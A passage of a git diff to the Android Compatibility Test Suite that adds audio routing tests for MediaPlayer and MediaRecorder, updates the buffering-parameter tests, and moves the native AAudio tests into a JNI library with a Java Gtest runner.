+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+            // Can't do it so skip this test
+            return;
+        }
+
+        MediaPlayer mediaPlayer = allocMediaPlayer();
+        AudioRoutingListener listener = new AudioRoutingListener();
+        mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+        if (deviceList.length < 2) {
+            // The available output device is less than 2, we can't switch output device.
+            return;
+        }
+        for (int index = 0; index < deviceList.length; index++) {
+            assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+            boolean routingChanged = false;
+            for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) {
+                // Create a new CountDownLatch in case it is triggered by previous routing change.
+                mRoutingChangedLatch = new CountDownLatch(1);
+                try {
+                    mRoutingChangedLatch.await(WAIT_ROUTING_CHANGE_TIME_MS, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                }
+                AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+                if (routedDevice == null) {
+                    continue;
+                }
+                if (routedDevice.getId() == deviceList[index].getId()) {
+                    routingChanged = true;
+                    break;
+                }
+            }
+            assertTrue("Switching to device" + deviceList[index].getType() + " failed",
+                    routingChanged);
+        }
+
+        mediaPlayer.removeOnRoutingChangedListener(listener);
+        mediaPlayer.stop();
+        mediaPlayer.release();
+    }
+
+    private MediaRecorder allocMediaRecorder() throws Exception {
+        final String outputPath = new File(Environment.getExternalStorageDirectory(),
+            "record.out").getAbsolutePath();
+        mOutFile = new File(outputPath);
+        MediaRecorder mediaRecorder = new MediaRecorder();
+        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        assertEquals(0, mediaRecorder.getMaxAmplitude());
+        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+        mediaRecorder.setOutputFile(outputPath);
+        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+        mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+        mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+        mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+        mediaRecorder.prepare();
+        mediaRecorder.start();
+        // Sleep a while to ensure the underlying AudioRecord is initialized.
+        Thread.sleep(1000);
+        return mediaRecorder;
+    }
+
+    public void test_mediaRecorder_preferredDevice() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+                || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // None selected (new MediaPlayer), so check for default
+        assertNull(mediaRecorder.getPreferredDevice());
+
+        // resets to default
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+
+        // test each device
+        AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+        for (int index = 0; index < deviceList.length; index++) {
+            if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+                // Only try to set devices whose type is contained in predefined set as preferred
+                // device in case of permission denied when switching input device.
+                continue;
+            }
+            assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+            assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+        }
+
+        // Check defaults again
+        assertTrue(mediaRecorder.setPreferredDevice(null));
+        assertNull(mediaRecorder.getPreferredDevice());
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+        assertNotNull(routedDevice); // we probably can't say anything more than this
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+    }
+
+    public void test_mediaRecorder_RoutingListener() throws Exception {
+        if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+            || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+
+        MediaRecorder mediaRecorder = allocMediaRecorder();
+
+        // null listener
+        mediaRecorder.addOnRoutingChangedListener(null, null);
+
+        AudioRoutingListener listener = new AudioRoutingListener();
+        AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+        // add a listener
+        mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+        // remove listeners we didn't add
+        mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+        // remove a valid listener
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Looper myLooper = prepareIfNeededLooper();
+        mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ab54e75..3a0d512 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -391,10 +391,22 @@
                 return; // skip
             }
 
-            // getDefaultBufferingParams should be called after setDataSource.
+            // getBufferingParams should be called after setDataSource.
             try {
-                BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
-                fail("MediaPlayer failed to check state for getDefaultBufferingParams");
+                BufferingParams params = mMediaPlayer.getBufferingParams();
+                fail("MediaPlayer failed to check state for getBufferingParams");
+            } catch (IllegalStateException e) {
+                // expected
+            }
+
+            // setBufferingParams should be called after setDataSource.
+            try {
+                BufferingParams params = new BufferingParams.Builder()
+                        .setInitialMarkMs(2)
+                        .setResumePlaybackMarkMs(3)
+                        .build();
+                mMediaPlayer.setBufferingParams(params);
+                fail("MediaPlayer failed to check state for setBufferingParams");
             } catch (IllegalStateException e) {
                 // expected
             }
@@ -421,33 +433,17 @@
 
             assertFalse(mOnBufferingUpdateCalled.isSignalled());
 
-            BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
+            BufferingParams params = mMediaPlayer.getBufferingParams();
 
-            int newMark = -1;
-            BufferingParams newParams = null;
-            int initialBufferingMode = params.getInitialBufferingMode();
-            if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
-                    || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
-                newMark = params.getInitialBufferingWatermarkKB() + 1;
-                newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkKB(
-                        newMark).build();
-            } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
-                newMark = params.getInitialBufferingWatermarkMs() + 1;
-                newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkMs(
-                        newMark).build();
-            } else {
-                newParams = params;
-            }
+            int newMark = params.getInitialMarkMs() + 2;
+            BufferingParams newParams =
+                    new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
+
             mMediaPlayer.setBufferingParams(newParams);
 
             int checkMark = -1;
             BufferingParams checkParams = mMediaPlayer.getBufferingParams();
-            if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
-                    || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
-                checkMark = checkParams.getInitialBufferingWatermarkKB();
-            } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
-                checkMark = checkParams.getInitialBufferingWatermarkMs();
-            }
+            checkMark = checkParams.getInitialMarkMs();
             assertEquals("marks do not match", newMark, checkMark);
 
             // TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 2f64131..2017eba 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -1,4 +1,4 @@
-# Copyright 2017 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -12,40 +12,30 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNativeMediaAAudioTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+
+LOCAL_PACKAGE_NAME := CtsNativeMediaAAudioTestCases
+
+# Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SRC_FILES := \
-    src/test_aaudio.cpp \
-    src/test_aaudio_callback.cpp \
-    src/test_aaudio_misc.cpp \
-    src/test_aaudio_mmap.cpp \
-    src/test_aaudio_stream_builder.cpp \
-    src/utils.cpp \
-
-LOCAL_SHARED_LIBRARIES := \
-    libaaudio \
-    liblog \
-
-LOCAL_STATIC_LIBRARIES := \
-    libgtest_ndk_c++ \
-
-LOCAL_CTS_TEST_PACKAGE := android.nativemedia.aaudio
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_CFLAGS := -Werror -Wall
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner nativetesthelper
+
+LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
 
-include $(BUILD_CTS_EXECUTABLE)
+include $(BUILD_CTS_PACKAGE)
+
+# Include the associated library's makefile.
+include $(LOCAL_PATH)/jni/Android.mk
diff --git a/tests/tests/nativemedia/aaudio/AndroidManifest.xml b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
new file mode 100644
index 0000000..97bf5f9
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.nativemedia.aaudio">
+
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <!-- This is a self-instrumenting test package. -->
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.nativemedia.aaudio"
+                     android:label="CTS tests of native AAudio API">
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/nativemedia/aaudio/AndroidTest.xml b/tests/tests/nativemedia/aaudio/AndroidTest.xml
index 7030d0c..b796ea6 100644
--- a/tests/tests/nativemedia/aaudio/AndroidTest.xml
+++ b/tests/tests/nativemedia/aaudio/AndroidTest.xml
@@ -15,16 +15,14 @@
 -->
 <configuration description="Config for CTS Native Media AAudio test cases">
     <option name="config-descriptor:metadata" key="component" value="media" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="cleanup" value="true" />
-        <option name="push" value="CtsNativeMediaAAudioTestCases->/data/local/tmp/CtsNativeMediaAAudioTestCases" />
-        <option name="append-bitness" value="true" />
+    <option name="test-suite-tag" value="cts" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNativeMediaAAudioTestCases.apk" />
     </target_preparer>
-    <test class="com.android.tradefed.testtype.GTest" >
-        <option name="native-test-device-path" value="/data/local/tmp" />
-        <option name="module-name" value="CtsNativeMediaAAudioTestCases" />
-        <option name="runtime-hint" value="2m" />
-        <!-- test-timeout unit is ms, value = 2 min -->
-        <option name="native-test-timeout" value="120000" />
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.nativemedia.aaudio" />
+        <option name="runtime-hint" value="2m0s" />
     </test>
 </configuration>
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
new file mode 100644
index 0000000..c6f0902
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -0,0 +1,42 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Build the unit tests.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := libnativeaaudiotest
+LOCAL_MULTILIB := both
+
+LOCAL_SRC_FILES := \
+    test_aaudio.cpp \
+    test_aaudio_callback.cpp \
+    test_aaudio_mmap.cpp \
+    test_aaudio_misc.cpp \
+    test_aaudio_stream_builder.cpp \
+    utils.cpp \
+
+LOCAL_SHARED_LIBRARIES := \
+    libaaudio \
+    liblog
+
+LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
+
+LOCAL_CFLAGS := -Werror -Wall
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio.h b/tests/tests/nativemedia/aaudio/jni/test_aaudio.h
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio.h
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio.h
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_callback.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_callback.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_misc.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_misc.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_mmap.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_mmap.cpp
diff --git a/tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
similarity index 100%
rename from tests/tests/nativemedia/aaudio/src/test_aaudio_stream_builder.cpp
rename to tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.cpp b/tests/tests/nativemedia/aaudio/jni/utils.cpp
new file mode 100644
index 0000000..55d1e13
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/utils.cpp
@@ -0,0 +1,192 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AAudioTest"
+
+#include <sys/types.h>
+#include <unistd.h>
+
+#include <android/log.h>
+#include <gtest/gtest.h>
+
+#include "test_aaudio.h"
+#include "utils.h"
+
+int64_t getNanoseconds(clockid_t clockId) {
+    struct timespec time;
+    int result = clock_gettime(clockId, &time);
+    if (result < 0) {
+        return -errno;
+    }
+    return (time.tv_sec * NANOS_PER_SECOND) + time.tv_nsec;
+}
+
+const char* performanceModeToString(aaudio_performance_mode_t mode) {
+    switch (mode) {
+        case AAUDIO_PERFORMANCE_MODE_NONE: return "DEFAULT";
+        case AAUDIO_PERFORMANCE_MODE_POWER_SAVING: return "POWER_SAVING";
+        case AAUDIO_PERFORMANCE_MODE_LOW_LATENCY: return "LOW_LATENCY";
+    }
+    return "UNKNOWN";
+}
+
+const char* sharingModeToString(aaudio_sharing_mode_t mode) {
+    switch (mode) {
+        case AAUDIO_SHARING_MODE_SHARED: return "SHARED";
+        case AAUDIO_SHARING_MODE_EXCLUSIVE: return "EXCLUSIVE";
+    }
+    return "UNKNOWN";
+}
+
+
+// These periods are quite generous. They are not designed to put
+// any restrictions on the implementation, but only to ensure sanity.
+// Use int64_t because 96000 * 30000 is close to int32_t limits.
+const std::map<aaudio_performance_mode_t, int64_t> StreamBuilderHelper::sMaxFramesPerBurstMs =
+{ { AAUDIO_PERFORMANCE_MODE_NONE, 128 },
+  { AAUDIO_PERFORMANCE_MODE_POWER_SAVING, 30 * 1000 },
+  { AAUDIO_PERFORMANCE_MODE_LOW_LATENCY, 40 } };
+
+StreamBuilderHelper::StreamBuilderHelper(
+        aaudio_direction_t direction, int32_t sampleRate,
+        int32_t channelCount, aaudio_format_t dataFormat,
+        aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode)
+        : mDirection{direction},
+          mRequested{sampleRate, channelCount, dataFormat, sharingMode, perfMode},
+          mActual{0, 0, AAUDIO_FORMAT_INVALID, -1, -1}, mFramesPerBurst{-1},
+          mBuilder{nullptr}, mStream{nullptr} {}
+
+StreamBuilderHelper::~StreamBuilderHelper() {
+    close();
+}
+
+void StreamBuilderHelper::initBuilder() {
+    ASSERT_EQ(1U, sMaxFramesPerBurstMs.count(mRequested.perfMode));
+
+    // Use an AAudioStreamBuilder to define the stream.
+    aaudio_result_t result = AAudio_createStreamBuilder(&mBuilder);
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_TRUE(mBuilder != nullptr);
+
+    // Request stream properties.
+    AAudioStreamBuilder_setDeviceId(mBuilder, AAUDIO_UNSPECIFIED);
+    AAudioStreamBuilder_setDirection(mBuilder, mDirection);
+    AAudioStreamBuilder_setSampleRate(mBuilder, mRequested.sampleRate);
+    AAudioStreamBuilder_setChannelCount(mBuilder, mRequested.channelCount);
+    AAudioStreamBuilder_setFormat(mBuilder, mRequested.dataFormat);
+    AAudioStreamBuilder_setSharingMode(mBuilder, mRequested.sharingMode);
+    AAudioStreamBuilder_setPerformanceMode(mBuilder, mRequested.perfMode);
+}
+
+// Needs to be a 'void' function due to ASSERT requirements.
+void StreamBuilderHelper::createAndVerifyStream(bool *success) {
+    *success = false;
+
+    aaudio_result_t result = AAudioStreamBuilder_openStream(mBuilder, &mStream);
+    if (mRequested.sharingMode == AAUDIO_SHARING_MODE_EXCLUSIVE && result != AAUDIO_OK) {
+        __android_log_write(ANDROID_LOG_WARN, LOG_TAG, "Could not open a stream in EXCLUSIVE mode");
+        return;
+    }
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_TRUE(mStream != nullptr);
+    ASSERT_EQ(AAUDIO_STREAM_STATE_OPEN, AAudioStream_getState(mStream));
+    ASSERT_EQ(mDirection, AAudioStream_getDirection(mStream));
+
+    mActual.sharingMode = AAudioStream_getSharingMode(mStream);
+    if (mActual.sharingMode != mRequested.sharingMode) {
+        // Since we are covering all possible values, the "actual" mode
+        // will also be tested, so no need to run the same test twice.
+        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Sharing mode %s is not available",
+                sharingModeToString(mRequested.sharingMode));
+        return;
+    }
+
+    // Check to see what kind of stream we actually got.
+    mActual.sampleRate = AAudioStream_getSampleRate(mStream);
+    ASSERT_GE(mActual.sampleRate, 44100);
+    ASSERT_LE(mActual.sampleRate, 96000); // TODO what is min/max?
+
+    mActual.channelCount = AAudioStream_getChannelCount(mStream);
+    ASSERT_GE(mActual.channelCount, 1);
+    ASSERT_LE(mActual.channelCount, 16); // TODO what is min/max?
+
+    mActual.dataFormat = AAudioStream_getFormat(mStream);
+    ASSERT_EQ(AAUDIO_FORMAT_PCM_I16, mActual.dataFormat);
+
+    mActual.perfMode = AAudioStream_getPerformanceMode(mStream);
+    if (mRequested.perfMode != AAUDIO_PERFORMANCE_MODE_NONE
+            && mRequested.perfMode != mActual.perfMode) {
+        // Since we are covering all possible values, the "actual" mode
+        // will also be tested, so no need to run the same test twice.
+        __android_log_print(ANDROID_LOG_WARN, LOG_TAG, "Performance mode %s is not available",
+                performanceModeToString(mRequested.sharingMode));
+        return;
+    }
+
+    mFramesPerBurst = AAudioStream_getFramesPerBurst(mStream);
+    ASSERT_GE(mFramesPerBurst, 16);
+    const int32_t maxFramesPerBurst =
+            mActual.sampleRate * sMaxFramesPerBurstMs.at(mActual.perfMode) / MILLIS_PER_SECOND;
+    ASSERT_LE(mFramesPerBurst, maxFramesPerBurst);
+
+    int32_t actualBufferSize = AAudioStream_getBufferSizeInFrames(mStream);
+    ASSERT_GT(actualBufferSize, 0);
+    ASSERT_GT(AAudioStream_setBufferSizeInFrames(mStream, actualBufferSize), 0);
+
+    *success = true;
+}
+
+void StreamBuilderHelper::close() {
+    if (mBuilder != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(mBuilder));
+    }
+    if (mStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(mStream));
+    }
+}
+
+void StreamBuilderHelper::streamCommand(
+        StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState) {
+    ASSERT_EQ(AAUDIO_OK, cmd(mStream));
+    aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNINITIALIZED;
+    ASSERT_EQ(AAUDIO_OK,
+            AAudioStream_waitForStateChange(mStream, fromState, &state, DEFAULT_STATE_TIMEOUT));
+    ASSERT_EQ(toState, state);
+}
+
+
+InputStreamBuilderHelper::InputStreamBuilderHelper(
+        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_INPUT,
+            48000, 1, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+
+OutputStreamBuilderHelper::OutputStreamBuilderHelper(
+        aaudio_sharing_mode_t requestedSharingMode, aaudio_performance_mode_t requestedPerfMode)
+        : StreamBuilderHelper{AAUDIO_DIRECTION_OUTPUT,
+            48000, 2, AAUDIO_FORMAT_PCM_I16, requestedSharingMode, requestedPerfMode} {}
+
+void OutputStreamBuilderHelper::initBuilder() {
+    StreamBuilderHelper::initBuilder();
+    AAudioStreamBuilder_setBufferCapacityInFrames(mBuilder, kBufferCapacityFrames);
+}
+
+void OutputStreamBuilderHelper::createAndVerifyStream(bool *success) {
+    StreamBuilderHelper::createAndVerifyStream(success);
+    if (*success) {
+        ASSERT_GE(AAudioStream_getBufferCapacityInFrames(mStream), kBufferCapacityFrames);
+    }
+}
diff --git a/tests/tests/nativemedia/aaudio/jni/utils.h b/tests/tests/nativemedia/aaudio/jni/utils.h
new file mode 100644
index 0000000..7f38fef
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/utils.h
@@ -0,0 +1,101 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef CTS_MEDIA_TEST_AAUDIO_UTILS_H
+#define CTS_MEDIA_TEST_AAUDIO_UTILS_H
+
+#include <map>
+
+#include <aaudio/AAudio.h>
+
+int64_t getNanoseconds(clockid_t clockId = CLOCK_MONOTONIC);
+const char* performanceModeToString(aaudio_performance_mode_t mode);
+const char* sharingModeToString(aaudio_sharing_mode_t mode);
+
+class StreamBuilderHelper {
+  public:
+    struct Parameters {
+        int32_t sampleRate;
+        int32_t channelCount;
+        aaudio_format_t dataFormat;
+        aaudio_sharing_mode_t sharingMode;
+        aaudio_performance_mode_t perfMode;
+    };
+
+    void initBuilder();
+    void createAndVerifyStream(bool *success);
+    void close();
+
+    void startStream() {
+        streamCommand(&AAudioStream_requestStart,
+                AAUDIO_STREAM_STATE_STARTING, AAUDIO_STREAM_STATE_STARTED);
+    }
+    void pauseStream() {
+        streamCommand(&AAudioStream_requestPause,
+                AAUDIO_STREAM_STATE_PAUSING, AAUDIO_STREAM_STATE_PAUSED);
+    }
+    void stopStream() {
+        streamCommand(&AAudioStream_requestStop,
+                AAUDIO_STREAM_STATE_STOPPING, AAUDIO_STREAM_STATE_STOPPED);
+    }
+    void flushStream() {
+        streamCommand(&AAudioStream_requestFlush,
+                AAUDIO_STREAM_STATE_FLUSHING, AAUDIO_STREAM_STATE_FLUSHED);
+    }
+
+    AAudioStreamBuilder* builder() const { return mBuilder; }
+    AAudioStream* stream() const { return mStream; }
+    const Parameters& actual() const { return mActual; }
+    int32_t framesPerBurst() const { return mFramesPerBurst; }
+
+  protected:
+    StreamBuilderHelper(aaudio_direction_t direction, int32_t sampleRate,
+            int32_t channelCount, aaudio_format_t dataFormat,
+            aaudio_sharing_mode_t sharingMode, aaudio_performance_mode_t perfMode);
+    ~StreamBuilderHelper();
+
+    typedef aaudio_result_t (StreamCommand)(AAudioStream*);
+    void streamCommand(
+            StreamCommand cmd, aaudio_stream_state_t fromState, aaudio_stream_state_t toState);
+
+    static const std::map<aaudio_performance_mode_t, int64_t> sMaxFramesPerBurstMs;
+    const aaudio_direction_t mDirection;
+    const Parameters mRequested;
+    Parameters mActual;
+    int32_t mFramesPerBurst;
+    AAudioStreamBuilder *mBuilder;
+    AAudioStream *mStream;
+};
+
+class InputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    InputStreamBuilderHelper(
+            aaudio_sharing_mode_t requestedSharingMode,
+            aaudio_performance_mode_t requestedPerfMode);
+};
+
+class OutputStreamBuilderHelper : public StreamBuilderHelper {
+  public:
+    OutputStreamBuilderHelper(
+            aaudio_sharing_mode_t requestedSharingMode,
+            aaudio_performance_mode_t requestedPerfMode);
+    void initBuilder();
+    void createAndVerifyStream(bool *success);
+
+  private:
+    const int32_t kBufferCapacityFrames = 2000;
+};
+
+#endif  // CTS_MEDIA_TEST_AAUDIO_UTILS_H
diff --git a/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
new file mode 100644
index 0000000..afb2db4
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/src/android/nativemedia/aaudio/AAudioTests.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.nativemedia.aaudio;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("nativeaaudiotest")
